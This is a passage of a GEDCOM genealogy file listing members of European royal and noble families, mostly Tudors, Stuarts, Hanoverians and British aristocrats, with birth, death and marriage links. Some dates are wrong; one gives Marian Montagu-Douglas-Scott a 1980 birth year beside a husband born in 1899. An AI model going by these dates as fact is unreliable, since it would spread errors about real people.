DATE        1632\n1 FAMS @F265@\n0 @I736@ INDI\n1 NAME Sophia  /Hanover/\n1 SEX F\n1 BIRT\n2 DATE        1630\n1 DEAT\n2 DATE        1714\n1 FAMS @F266@\n1 FAMC @F265@\n0 @I737@ INDI\n1 NAME Frederick_II of_Denmark and_Norway//\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE  1 JUL 1534\n2 PLAC Haderslevhus\n1 DEAT\n2 DATE  4 APR 1588\n2 PLAC Antvorslev,Castle\n1 BURI\n2 PLAC Roskilde,Cathedral,Denmark\n1 FAMS @F268@\n1 FAMC @F638@\n0 @I738@ INDI\n1 NAME Sophia of_Mecklenburg- Gustrow//\n1 SEX F\n1 BIRT\n2 DATE  4 SEP 1557\n2 PLAC Wismar\n1 DEAT\n2 DATE  4 OCT 1631\n2 PLAC Nykobing\n1 FAMS @F268@\n0 @I739@ INDI\n1 NAME Henrietta Maria of_France//\n1 SEX F\n1 BIRT\n2 DATE 26 NOV 1609\n2 PLAC Hotel du Louvre,Paris,France\n1 DEAT\n2 DATE 31 AUG 1669\n2 PLAC Colombe,Near Paris,France\n1 BURI\n2 PLAC St. Denis\n1 FAMS @F270@\n1 FAMC @F271@\n0 @I740@ INDI\n1 NAME Henry_IV the_Great //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 13 DEC 1553\n2 PLAC Pau,Navarre,France\n1 DEAT\n2 DATE 14 MAY 1610\n2 PLAC Paris,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1184@\n1 FAMS @F271@\n1 FAMC @F446@\n0 @I741@ INDI\n1 NAME Marie  /de'_Medici/\n1 SEX F\n1 BIRT\n2 DATE        1573\n1 DEAT\n2 DATE        1642\n1 FAMS @F271@\n1 FAMC @F489@\n0 @I742@ INDI\n1 NAME Charles James /Stuart/\n1 TITL Duke of Cornwall\n1 SEX M\n1 BIRT\n2 DATE 13 MAY 1629\n2 PLAC Greenwich Palace\n1 DEAT\n2 DATE 13 MAY 1629\n2 PLAC Greenwich Palace\n1 FAMC @F270@\n0 @I743@ INDI\n1 NAME Charles_II  /Stuart/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 29 MAY 1630\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE  6 FEB 1685\n2 PLAC Whitehall Palace,,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F273@\n1 FAMC @F270@\n0 @I744@ INDI\n1 NAME Mary  /Stuart/\n1 TITL Princess Royal\n1 SEX F\n1 BIRT\n2 DATE  4 NOV 1631\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE 24 DEC 1660\n2 PLAC Whitehall Palace,,England\n1 FAMS @F269@\n1 FAMC @F270@\n0 @I745@ INDI\n1 NAME Elizabeth  /Stuart/\n1 SEX F\n1 BIRT\n2 DATE 29 DEC 1635\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE  8 SEP 1650\n2 PLAC Carisbrooke,Castle,Isle of Wight,England\n1 FAMC @F270@\n0 @I746@ INDI\n1 NAME Anne  /Stuart/\n1 SEX F\n1 BIRT\n2 DATE 17 MAR 1637\n2 PLAC St. James Palace,London,England\n1 DEAT\n2 DATE  5 NOV 1640\n2 PLAC Richmond Palace,,England\n1 FAMC @F270@\n0 @I747@ INDI\n1 NAME Catherine  /Stuart/\n1 SEX F\n1 BIRT\n2 DATE 29 JUN 1639\n2 PLAC Whitehall Palace,,England\n1 DEAT\n2 DATE 29 JUN 1639\n2 PLAC Whitehall Palace,,England\n1 FAMC @F270@\n0 @I748@ INDI\n1 NAME Henry of_Gloucester /Stuart/\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE  8 JUL 1640\n2 PLAC Oatlands,Surrey,England\n1 DEAT\n2 DATE 13 SEP 1660\n2 PLAC Whitehall Palace\n1 FAMC @F270@\n0 @I749@ INDI\n1 NAME Henrietta Anne /Stuart/\n1 SEX F\n1 BIRT\n2 DATE 16 JUN 1644\n2 PLAC Bedford House,Exeter,England\n1 DEAT\n2 DATE 30 JUN 1670\n2 PLAC St. Cloud\n1 FAMS @F272@\n1 FAMC @F270@\n0 @I750@ INDI\n1 NAME William_II of_Orange //\n1 TITL Prince\n1 SEX M\n1 BIRT\n2 DATE        1626\n1 DEAT\n2 DATE        1650\n1 FAMS @F269@\n0 @I751@ INDI\n1 NAME Philippe of_Orleans //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1641\n1 DEAT\n2 DATE        1701\n1 FAMS @F272@\n1 FAMS @F1373@\n1 FAMC @F521@\n0 @I752@ INDI\n1 NAME Catherine of_Braganza //\n1 SEX F\n1 BIRT\n2 DATE 25 NOV 1638\n2 PLAC Vila Vicosa,Lisbon,Portugal\n1 DEAT\n2 DATE 31 DEC 1705\n2 PLAC Bemposta,Palace,Lisbon,Portugal\n1 BURI\n2 PLAC Belem\n1 FAMS @F273@\n1 FAMC @F274@\n0 @I753@ INDI\n1 NAME John_IV the_Fortunate //\n1 TITL King of Portugal\n1 SEX M\n1 BIRT\n2 DATE        1605\n1 DEAT\n2 DATE        1656\n1 FAMS @F274@\n0 @I754@ INDI\n1 NAME Luiza Maria /de_Guzman/\n1 SEX F\n1 FAMS @F274@\n0 @I755@ INDI\n1 NAME Alfonso_IV  /d'Este/\n1 TITL Duke of Modena\n1 SEX M\n1 FAMS @F275@\n0 @I756@ INDI\n1 NAME Laura  /Mortinozzi/\n1 SEX F\n1 FAMS @F275@\n0 @I757@ INDI\n1 NAME William_III of_Orange /Stuart/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 14 NOV 1650\n2 PLAC The Hague,Netherlands\n1 DEAT\n2 DATE 19 MAR 1702\n2 PLAC Kensington,Palace,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F276@\n1 FAMC @F269@\n0 @I758@ INDI\n1 NAME Ernest Augustus of_Brunswick//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1629\n1 DEAT\n2 DATE        1698\n1 FAMS @F266@\n0 @I759@ INDI\n1 NAME George_I of_Saxe- Meiningen//\n1 TITL Duke\n1 SEX M\n1 FAMS @F277@\n0 @I760@ INDI\n1 NAME Louisa Eleonora of_Hohenlohe-//\n1 TITL Princess\n1 SEX F\n1 FAMS @F277@\n0 @I761@ INDI\n1 NAME Frederick William_I //\n1 TITL King of Prussia\n1 SEX M\n1 BIRT\n2 DATE 14 AUG 1688\n2 PLAC Berlin,Germany\n1 DEAT\n2 DATE 31 MAY 1740\n2 PLAC Potsdam,Germany\n1 BURI\n2 PLAC Potsdam,Germany\n1 FAMS @F435@\n1 FAMC @F267@\n0 @I762@ INDI\n1 NAME Maria of_Waldegrave /Walpole/\n1 TITL Countess\n1 SEX F\n1 DEAT\n2 DATE        1790\n1 FAMS @F958@\n1 FAMS @F279@\n1 FAMC @F957@\n0 @I763@ INDI\n1 NAME Anne  /Horton/\n1 TITL Hon.\n1 SEX F\n1 DEAT\n2 DATE        1808\n1 FAMS @F280@\n0 @I764@ INDI\n1 NAME Christian_VII  //\n1 TITL King of Denmark\n1 SEX M\n1 BIRT\n2 DATE 29 JAN 1749\n2 PLAC Copenhagen,Denmark\n1 DEAT\n2 DATE 13 MAR 1808\n2 PLAC Rendsborg\n1 FAMS @F281@\n1 FAMC @F107@\n0 @I765@ INDI\n1 NAME Charles Louis //\n1 TITL Elector Palatine\n1 SEX M\n1 DEAT\n2 DATE        1680\n1 FAMS @F940@\n1 FAMC @F265@\n0 @I766@ INDI\n1 NAME Rupert of_Cumberland //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1619\n1 DEAT\n2 DATE        1682\n1 FAMC @F265@\n0 @I767@ INDI\n1 NAME Maurice  //\n1 SEX M\n1 DEAT\n2 DATE        1654\n1 FAMC @F265@\n0 @I768@ INDI\n1 NAME Edward  //\n1 SEX M\n1 FAMS @F942@\n1 FAMC @F265@\n0 @I769@ INDI\n1 NAME Charlotte  /Landgrave/\n1 SEX F\n1 FAMS @F940@\n1 FAMC @F941@\n0 @I770@ INDI\n1 NAME Ernest Augustus //\n1 TITL Duke of York\n1 SEX M\n1 FAMC @F266@\n0 @I771@ INDI\n1 NAME Sophia Charlotte //\n1 SEX F\n1 BIRT\n2 DATE 20 OCT 1668\n2 PLAC Schloss Iburg,Near,Osnabruck\n1 DEAT\n2 DATE  1 FEB 1705\n2 PLAC Hanover\n1 BURI\n2 PLAC Berlin,Cathedral,Germany\n1 FAMS @F267@\n1 FAMC @F266@\n0 @I772@ INDI\n1 NAME Frederick_I  //\n1 TITL King of Prussia\n1 SEX M\n1 BIRT\n2 DATE 11 JUL 1657\n2 PLAC Konigsberg,Prussia\n1 DEAT\n2 DATE 25 FEB 1713\n2 PLAC Berlin,Germany\n1 FAMS @F436@\n1 FAMS @F267@\n1 FAMS @F437@\n0 @I773@ INDI\n1 NAME Henry_VII  /Tudor/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 28 JAN 1457\n2 PLAC Pembroke Castle,Pembrokeshire,England\n1 DEAT\n2 DATE 21 APR 1509\n2 PLAC Richmond Palace,Richmond Surrey,England\n1 BURI\n2 PLAC Henry VII Chapel,Westminster,Abbey,England\n1 FAMS @F282@\n1 FAMC @F461@\n0 @I774@ INDI\n1 NAME Elizabeth of_York //\n1 SEX F\n1 BIRT\n2 DATE 11 FEB 1466\n2 PLAC Westminster,Palace,London,England\n1 DEAT\n2 DATE 11 FEB 1503\n2 PLAC Tower of London,London,England\n1 BURI\n2 PLAC Henry VII Chapel,Westminster,Abbey,London\n1 FAMS @F282@\n1 FAMC @F373@\n0 @I775@ INDI\n1 NAME Arthur  /Tudor/\n1 TITL Prince of Wales\n1 SEX M\n1 BIRT\n2 DATE 20 SEP 1486\n2 PLAC St. Swithin's,Priory,Winchester,England\n1 DEAT\n2 DATE  2 APR 1502\n2 PLAC Ludlow Castle\n1 FAMS @F313@\n1 FAMC @F282@\n0 @I776@ INDI\n1 NAME Margaret  /Tudor/\n1 SEX F\n1 BIRT\n2 DATE 28 NOV 1489\n2 PLAC Westminster,Palace,London,England\n1 DEAT\n2 DATE 18 OCT 1541\n2 PLAC Methven Castle\n1 FAMS @F314@\n1 FAMS @F529@\n1 FAMS @F316@\n1 FAMC @F282@\n0 @I777@ INDI\n1 NAME John Crocker /Bulteel/\n1 SEX M\n1 DEAT\n2 DATE        1843\n1 FAMS @F283@\n0 @I778@ INDI\n1 NAME Elizabeth  /Grey/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1880\n1 FAMS @F283@\n0 @I779@ INDI\n1 NAME Horace Beauchamp /Seymour/\n1 TITL Sir\n1 SEX M\n1 BIRT\n2 DATE        1791\n1 DEAT\n2 DATE        1856\n1 FAMS @F284@\n1 FAMC @F1019@\n0 @I780@ INDI\n1 NAME Elizabeth Malet /Palk/\n1 SEX F\n1 DEAT\n2 DATE        1827\n1 FAMS @F284@\n0 @I781@ INDI\n1 NAME George John /Spencer/\n1 TITL Earl of Spencer\n1 SEX M\n1 BIRT\n2 DATE        1758\n1 DEAT\n2 DATE        1834\n1 FAMS @F285@\n1 FAMC @F467@\n0 @I782@ INDI\n1 NAME Lavinia  /Bingham/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1831\n1 FAMS @F285@\n1 FAMC @F682@\n0 @I783@ INDI\n1 NAME Henry  /Baring/\n1 SEX M\n1 DEAT\n2 DATE        1848\n1 FAMS @F286@\n0 @I784@ INDI\n1 NAME Cecilia Anne /Windham/\n1 SEX F\n1 DEAT\n2 DATE        1874\n1 FAMS @F286@\n0 @I785@ INDI\n1 NAME   //\n1 TITL Earl Howe I\n1 SEX M\n1 DEAT\n2 DATE        1870\n1 FAMS @F287@\n0 @I786@ INDI\n1 NAME Anne  /Gore/\n1 SEX F\n1 DEAT\n2 DATE        1877\n1 FAMS @F287@\n0 @I787@ INDI\n1 NAME Louisa Jane /Russell/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1905\n1 FAMS @F288@\n1 FAMC @F675@\n0 @I788@ INDI\n1 NAME   //\n1 TITL Duke Albercorn I\n1 SEX M\n1 DEAT\n2 DATE        1885\n1 FAMS @F288@\n0 @I789@ INDI\n1 NAME George Charles /Bingham/\n1 TITL Earl of Lucan\n1 SEX M\n1 BIRT\n2 DATE        1800\n1 DEAT\n2 DATE        1888\n1 FAMS @F289@\n1 FAMC @F681@\n0 @I790@ INDI\n1 NAME Anne  /Brudenell/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1877\n1 FAMS @F289@\n0 @I791@ INDI\n1 NAME Caroline  /Paget/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1874\n1 FAMS @F290@\n0 @I792@ INDI\n1 NAME Charles Lennox of_Richmond//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1791\n1 DEAT\n2 DATE        1860\n1 FAMS @F290@\n1 FAMC @F671@\n0 @I793@ INDI\n1 NAME David  /Gill/\n1 SEX M\n1 FAMS @F291@\n0 @I794@ INDI\n1 NAME Sarah  /Ogston/\n1 SEX F\n1 FAMS @F291@\n0 @I795@ INDI\n1 NAME William Smith /Marr/\n1 SEX M\n1 DEAT\n2 DATE        1898\n1 FAMS @F292@\n0 @I796@ INDI\n1 NAME Helen  /Bean/\n1 SEX F\n1 DEAT\n2 DATE        1852\n1 FAMS @F292@\n0 @I797@ INDI\n1 NAME William  /Littlejohn/\n1 SEX M\n1 DEAT\n2 DATE        1888\n1 FAMS @F293@\n0 @I798@ INDI\n1 NAME Janet  /Bentley/\n1 SEX F\n1 DEAT\n2 DATE        1848\n1 FAMS @F293@\n0 @I799@ INDI\n1 NAME James  /Crombie/\n1 SEX M\n1 DEAT\n2 DATE        1878\n1 FAMS @F294@\n0 @I800@ INDI\n1 NAME Katherine Scott /Forbes/\n1 SEX F\n1 DEAT\n2 DATE        1893\n1 FAMS @F294@\n0 @I801@ INDI\n1 NAME Gabriella Marina Alexandra/Windsor/\n1 TITL Lady\n1 SEX F\n1 BIRT\n2 DATE 23 APR 1981\n2 PLAC ,,England\n1 CHR\n2 DATE  8 JUN 1981\n2 PLAC Chapel Royal,St. James Palace,England\n1 FAMC @F103@\n0 @I802@ INDI\n1 NAME Thomas  /Troubridge/\n1 SEX M\n1 FAMS @F295@\n0 @I803@ INDI\n1 NAME John_Charles of_Buccleuch VII//\n1 TITL Duke\n1 SEX M\n1 FAMS @F296@\n0 @I804@ INDI\n1 NAME Peter  /Shand-Kydde/\n1 SEX M\n1 FAMS @F297@\n1 FAMS @F298@\n0 @I805@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F298@\n0 @I806@ INDI\n1 NAME Barbara  /Cartland/\n1 TITL Dame\n1 SEX F\n1 BIRT\n2 DATE    JUL 1900\n1 FAMS @F299@\n1 FAMS @F1415@\n1 FAMC @F1418@\n0 @I807@ INDI\n1 NAME Robert  /Fellowes/\n1 TITL Sir\n1 SEX M\n1 BIRT\n2 DATE        1941\n1 FAMS @F300@\n1 FAMC @F302@\n0 @I808@ INDI\n1 NAME Laura Jane /Fellowes/\n1 SEX F\n1 BIRT\n2 DATE    JUL 1980\n1 FAMC @F300@\n0 @I809@ INDI\n1 NAME Neil  /McCorquodale/\n1 SEX M\n1 BIRT\n2 DATE        1951\n1 FAMS @F301@\n0 @I810@ INDI\n1 NAME William  /Fellowes/\n1 TITL Sir\n1 SEX M\n1 FAMS @F302@\n0 @I811@ INDI\n1 NAME Andrew  /Ferguson/\n1 TITL Major\n1 SEX M\n1 BIRT\n2 DATE        1899\n1 DEAT\n2 DATE        1966\n1 FAMS @F303@\n1 FAMC @F304@\n0 @I812@ INDI\n1 NAME Marian -Scott /Montagu-Douglas-/\n1 SEX F\n1 BIRT\n2 DATE        1980\n1 FAMS @F303@\n1 FAMC @F1393@\n0 @I813@ INDI\n1 NAME John Andrew /Ferguson/\n1 SEX M\n1 FAMC @F303@\n0 @I814@ INDI\n1 NAME Algernon Francis /Ferguson/\n1 TITL Brig. Gen.\n1 SEX M\n1 BIRT\n2 DATE        1867\n1 DEAT\n2 DATE        1943\n1 FAMS @F304@\n1 FAMC @F305@\n0 @I815@ INDI\n1 NAME John  /Ferguson/\n1 TITL Colonel\n1 SEX M\n1 FAMS @F305@\n1 FAMC @F306@\n0 @I816@ INDI\n1 NAME Thomas  /Ferguson/\n1 SEX M\n1 FAMS @F306@\n1 FAMC @F307@\n0 @I817@ INDI\n1 NAME Emma  /Benyon/\n1 SEX F\n1 FAMS @F306@\n0 @I818@ INDI\n1 NAME John  /Ferguson/\n1 SEX M\n1 FAMS @F307@\n1 FAMC @F308@\n0 @I819@ INDI\n1 NAME James  /Ferguson/\n1 TITL Dr.\n1 SEX M\n1 DEAT\n2 DATE        1789\n1 FAMS @F308@\n0 @I820@ INDI\n1 NAME Fitzherbert  /Wright/\n1 SEX M\n1 BIRT\n2 DATE        1905\n1 DEAT\n2 DATE        1975\n1 FAMS @F309@\n1 FAMC @F1387@\n0 @I821@ INDI\n1 NAME Doreen  /Wingfield/\n1 TITL Hon.\n1 SEX F\n1 BIRT\n2 DATE        1904\n1 FAMS @F309@\n1 FAMC @F1385@\n0 @I822@ INDI\n1 NAME Jane Louisa /Ferguson/\n1 SEX F\n1 BIRT\n2 DATE 26 AUG 1957\n2 PLAC ,,England\n1 FAMS @F312@\n1 FAMC @F54@\n0 @I823@ INDI\n1 NAME Hector  /Barrantes/\n1 SEX M\n1 BIRT\n2 DATE ABT    1939\n1 DEAT\n2 DATE 10 AUG 1990\n2 PLAC Buenos Aires,Argentina\n1 FAMS @F310@\n1 FAMS @F311@\n0 @I824@ INDI\n1 NAME Louise  //\n1 SEX F\n1 DEAT\n2 DATE ABT    1967\n2 PLAC Buenos Aires,,Argentina\n1 FAMS @F310@\n0 @I825@ INDI\n1 NAME Alex  /Makim/\n1 SEX M\n1 BIRT\n2 DATE ABT    1951\n1 FAMS @F312@\n0 @I826@ INDI\n1 NAME Seamus  /Makim/\n1 SEX M\n1 BIRT\n2 DATE ABT    1980\n1 FAMC @F312@\n0 @I827@ INDI\n1 NAME Beatrice Elizabeth Mary/Windsor/\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE  8 AUG 1988\n2 PLAC Portland Hosp.,,England\n1 FAMC @F53@\n0 @I828@ INDI\n1 NAME Henry_VIII  /Tudor/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 28 JUN 1491\n2 PLAC Greenwich Palace,,England\n1 DEAT\n2 DATE 28 JAN 1547\n2 PLAC Whitehall,London,England\n1 BURI\n2 PLAC St. George Chap.,Windsor,England\n1 FAMS @F319@\n1 FAMS @F321@\n1 FAMS @F322@\n1 FAMS @F323@\n1 FAMS @F325@\n1 FAMS @F327@\n1 FAMC @F282@\n0 @I829@ INDI\n1 NAME Elizabeth  /Tudor/\n1 SEX F\n1 BIRT\n2 DATE  2 JUL 1492\n1 DEAT\n2 DATE 14 SEP 1495\n2 PLAC Eltham Palace,,England\n1 FAMC @F282@\n0 @I830@ INDI\n1 NAME Mary  /Tudor/\n1 SEX F\n1 BIRT\n2 DATE 18 MAR 1496\n2 PLAC Richmond Palace,,England\n1 DEAT\n2 DATE 25 JUN 1533\n2 PLAC Westhorpe,Suffolk,England\n1 FAMS @F317@\n1 FAMS @F318@\n1 FAMC @F282@\n0 @I831@ INDI\n1 NAME Edmund  /Tudor/\n1 SEX M\n1 BIRT\n2 DATE 21 FEB 1499\n2 PLAC Greenwich,Palace,England\n1 DEAT\n2 DATE 19 JUN 1500\n2 PLAC Bishops Hatfield,Herts,England\n1 FAMC @F282@\n0 @I832@ INDI\n1 NAME Katherine  /Tudor/\n1 SEX F\n1 BIRT\n2 DATE  2 FEB 1503\n2 PLAC Tower of London,,England\n1 DEAT\n2 DATE        1503\n2 PLAC ,,England\n1 FAMC @F282@\n0 @I833@ INDI\n1 NAME Catherine of_Aragon //\n1 SEX F\n1 BIRT\n2 DATE 15 DEC 1485\n2 PLAC Near Madrid,,Spain\n1 DEAT\n2 DATE  7 JAN 1536\n2 PLAC Kimbolton Castle,Hunts,England\n1 BURI\n2 PLAC Peterborough,Cathedral,England\n1 FAMS @F313@\n1 FAMS @F319@\n1 FAMC @F320@\n0 @I834@ INDI\n1 NAME James_IV  //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1473\n1 DEAT\n2 DATE  9 SEP 1513\n1 FAMS @F314@\n1 FAMC @F460@\n0 @I835@ INDI\n1 NAME James_V  //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1512\n2 PLAC Linlithgow,,Scotland\n1 DEAT\n2 DATE        1542\n1 FAMS @F458@\n1 FAMS @F459@\n1 FAMC @F314@\n0 @I836@ INDI\n1 NAME Archibald  /Douglas/\n1 TITL Earl of Angus VI\n1 SEX M\n1 DEAT\n2 DATE ABT    1557\n1 FAMS @F529@\n0 @I837@ INDI\n1 NAME Henry  /Stewart/\n1 TITL Lord Methven I\n1 SEX M\n1 DEAT\n2 DATE ABT    1551\n1 FAMS @F316@\n0 @I838@ INDI\n1 NAME Louis_XII  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 27 JUN 1462\n2 PLAC Blois,France\n1 DEAT\n2 DATE  1 JAN 1515\n2 PLAC Paris,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1151@\n1 FAMS @F1201@\n1 FAMS @F317@\n1 FAMC @F462@\n0 @I839@ INDI\n1 NAME Charles  /Brandon/\n1 TITL Duke of Suffolk\n1 SEX M\n1 DEAT\n2 DATE        1545\n1 FAMS @F318@\n0 @I840@ INDI\n1 NAME Ferdinand_V  //\n1 TITL King of Aragon\n1 SEX M\n1 BIRT\n2 DATE        1452\n1 DEAT\n2 DATE        1516\n1 FAMS @F320@\n1 FAMS @F1353@\n0 @I841@ INDI\n1 NAME Isabella  //\n1 TITL Queen of Castile\n1 SEX F\n1 BIRT\n2 DATE        1451\n1 DEAT\n2 DATE        1504\n1 FAMS @F320@\n1 FAMC @F1152@\n0 @I842@ INDI\n1 NAME Daughter  /Tudor/\n1 SEX F\n1 BIRT\n2 DATE 31 JAN 1510\n1 DEAT\n2 DATE 31 JAN 1510\n1 FAMC @F319@\n0 @I843@ INDI\n1 NAME Henry_(1)  /Tudor/\n1 TITL Duke of Cornwall\n1 SEX M\n1 BIRT\n2 DATE  1 JAN 1511\n2 PLAC Richmond Palace,,England\n1 DEAT\n2 DATE 22 FEB 1511\n2 PLAC Richmond Palace,,England\n1 FAMC @F319@\n0 @I844@ INDI\n1 NAME Henry_(2)  /Tudor/\n1 TITL Duke of Cornwall\n1 SEX M\n1 BIRT\n2 DATE    NOV 1513\n2 PLAC Richmond Palace,,England\n1 DEAT\n2 DATE    NOV 1513\n2 PLAC Richmond Palace,,England\n1 FAMC @F319@\n0 @I845@ INDI\n1 NAME Son  /Tudor/\n1 SEX M\n1 BIRT\n2 DATE    DEC 1514\n1 DEAT\n2 DATE    DEC 1514\n1 FAMC @F319@\n0 @I846@ INDI\n1 NAME Mary_I  /Tudor/\n1 TITL Queen of England\n1 SEX F\n1 BIRT\n2 DATE 18 FEB 1516\n2 PLAC Greenwich Palace,London,England\n1 DEAT\n2 DATE 17 NOV 1558\n2 PLAC St. James Palace,,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F334@\n1 FAMC @F319@\n0 @I847@ INDI\n1 NAME Daughter  /Tudor/\n1 SEX F\n1 BIRT\n2 DATE 10 NOV 1518\n1 DEAT\n2 DATE 10 NOV 1518\n1 FAMC @F319@\n0 @I848@ INDI\n1 NAME Anne  /Boleyn/\n1 SEX F\n1 BIRT\n2 DATE ABT    1501\n2 PLAC Blickling Hall,Norfolk,England\n1 DEAT\n2 DATE 19 MAY 1536\n2 PLAC Tower of London,London,England\n1 BURI\n2 PLAC Chapel Royal,Tower of London,London,England\n1 FAMS @F321@\n1 FAMC @F931@\n0 @I849@ INDI\n1 NAME Elizabeth_I  /Tudor/\n1 TITL Queen of England\n1 SEX F\n1 BIRT\n2 DATE  7 SEP 1533\n2 PLAC Greenwich Palace,London,England\n1 DEAT\n2 DATE 23 MAR 1603\n2 PLAC Richmond Palace,London,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMC @F321@\n0 @I850@ INDI\n1 NAME Son  /Tudor/\n1 SEX M\n1 BIRT\n2 DATE 29 JAN 1536\n2 PLAC Greenwich,,England\n1 DEAT\n2 DATE 29 JAN 1536\n2 PLAC Greenwich,,England\n1 FAMC @F321@\n0 @I851@ INDI\n1 NAME Jane  /Seymour/\n1 SEX F\n1 BIRT\n2 DATE ABT    1505\n2 PLAC Wolf Hall,Savernake,Wilts\n1 DEAT\n2 DATE 24 OCT 1537\n2 PLAC Hampton Court,Palace,England\n1 BURI\n2 DATE 12 NOV 1537\n2 PLAC St. George Chap.,Windsor,England\n1 FAMS @F322@\n1 FAMC @F328@\n0 @I852@ INDI\n1 NAME Edward_VI  /Tudor/\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 12 OCT 1537\n2 PLAC Hampton Court,Palace,England\n1 DEAT\n2 DATE  6 JUL 1553\n2 PLAC Greenwich,Palace,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMC @F322@\n0 @I853@ INDI\n1 NAME Anne of_Cleves //\n1 SEX F\n1 BIRT\n2 DATE 22 SEP 1515\n2 PLAC Dusseldorf\n1 DEAT\n2 DATE 17 JUL 1557\n2 PLAC Chelsea,,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F323@\n1 FAMC @F324@\n0 @I854@ INDI\n1 NAME John_III  //\n1 TITL Duke of Cleves\n1 SEX M\n1 FAMS @F324@\n0 @I855@ INDI\n1 NAME Marie of_Julich //\n1 SEX F\n1 FAMS @F324@\n0 @I856@ INDI\n1 NAME Catherine  /Howard/\n1 SEX F\n1 BIRT\n2 DATE ABT    1520\n2 PLAC Lambeth\n1 DEAT\n2 DATE 13 FEB 1542\n2 PLAC Tower of London,London,England\n1 BURI\n2 PLAC Chapel Royal,London,England\n1 FAMS @F325@\n1 FAMC @F326@\n0 @I857@ INDI\n1 NAME Edmund  /Howard/\n1 TITL Lord\n1 SEX M\n1 DEAT\n2 DATE        1513\n1 FAMS @F326@\n1 FAMS @F1099@\n1 FAMC @F1096@\n0 @I858@ INDI\n1 NAME Joyce  /Culpeper/\n1 SEX F\n1 FAMS @F326@\n0 @I859@ INDI\n1 NAME Catherine  /Parr/\n1 SEX F\n1 BIRT\n2 DATE ABT    1512\n2 PLAC Kendal Castle\n1 DEAT\n2 DATE  5 SEP 1548\n2 PLAC Sudeley Castle,Gloucestershire\n1 BURI\n2 PLAC Sudeley Castle,Chapel\n1 FAMS @F329@\n1 FAMS @F330@\n1 FAMS @F327@\n1 FAMS @F331@\n1 FAMC @F332@\n0 @I860@ INDI\n1 NAME John  /Seymour/\n1 TITL Sir\n1 SEX M\n1 FAMS @F328@\n0 @I861@ INDI\n1 NAME Margery  /Wentworth/\n1 SEX F\n1 FAMS @F328@\n0 @I862@ INDI\n1 NAME Edward  /Borough/\n1 TITL Sir\n1 SEX M\n1 DEAT\n2 DATE BEF    APR 1533\n1 FAMS @F329@\n0 @I863@ INDI\n1 NAME John  /Nevill/\n1 TITL Baron Latimer #3\n1 SEX M\n1 DEAT\n2 DATE  2 MAR 1543\n2 PLAC London,England\n1 FAMS @F330@\n0 @I864@ INDI\n1 NAME Thomas  /Seymour/\n1 TITL Baron Seymour\n1 SEX M\n1 FAMS @F331@\n0 @I865@ INDI\n1 NAME Thomas of_Kendal /Parr/\n1 TITL Sir\n1 SEX M\n1 FAMS @F332@\n0 @I866@ INDI\n1 NAME Maud  /Green/\n1 SEX F\n1 FAMS @F332@\n0 @I867@ INDI\n1 NAME Daughter  /Seymour/\n1 SEX F\n1 BIRT\n2 DATE 29 AUG 1548\n1 DEAT\n2 DATE  5 SEP 1548\n1 FAMC @F331@\n0 @I868@ INDI\n1 NAME Jane  /Grey/\n1 TITL Queen of England\n1 SEX F\n1 BIRT\n2 DATE    OCT 1537\n2 PLAC Bradgate,Leicestershire\n1 DEAT\n2 DATE 12 FEB 1554\n2 PLAC Tower of London,Tower Green,London,England\n1 BURI\n2 PLAC Tower of London,Chapel Royal,London,England\n1 FAMS @F333@\n1 FAMC @F527@\n0 @I869@ INDI\n1 NAME Guildford  /Dudley/\n1 TITL Lord\n1 SEX M\n1 DEAT\n2 DATE 12 FEB 1554\n2 PLAC Tower of London,Tower Green,London,England\n1 FAMS @F333@\n1 FAMC @F1078@\n0 @I870@ INDI\n1 NAME Philip_II  //\n1 TITL King of Spain\n1 SEX M\n1 BIRT\n2 DATE 21 MAY 1527\n2 PLAC Valladolid\n1 DEAT\n2 DATE 13 SEP 1598\n2 PLAC El Escorial,Palace,Madrid,Spain\n1 FAMS @F949@\n1 FAMS @F334@\n1 FAMS @F950@\n1 FAMS @F951@\n1 FAMC @F335@\n0 @I871@ INDI\n1 NAME Charles_V  //\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE        1500\n1 DEAT\n2 DATE        1558\n1 FAMS @F335@\n1 FAMC @F1352@\n0 @I872@ INDI\n1 NAME Isabella of_Portugal //\n1 SEX F\n1 BIRT\n2 DATE        1503\n1 DEAT\n2 DATE        1539\n1 FAMS @F335@\n0 @I873@ INDI\n1 NAME Simon  /de_Montfort/\n1 TITL Earl Leicester\n1 SEX M\n1 DEAT\n2 DATE  4 AUG 1265\n2 PLAC Evesham\n1 FAMS @F598@\n0 @I874@ INDI\n1 NAME Tomislav of_Yugoslavia //\n1 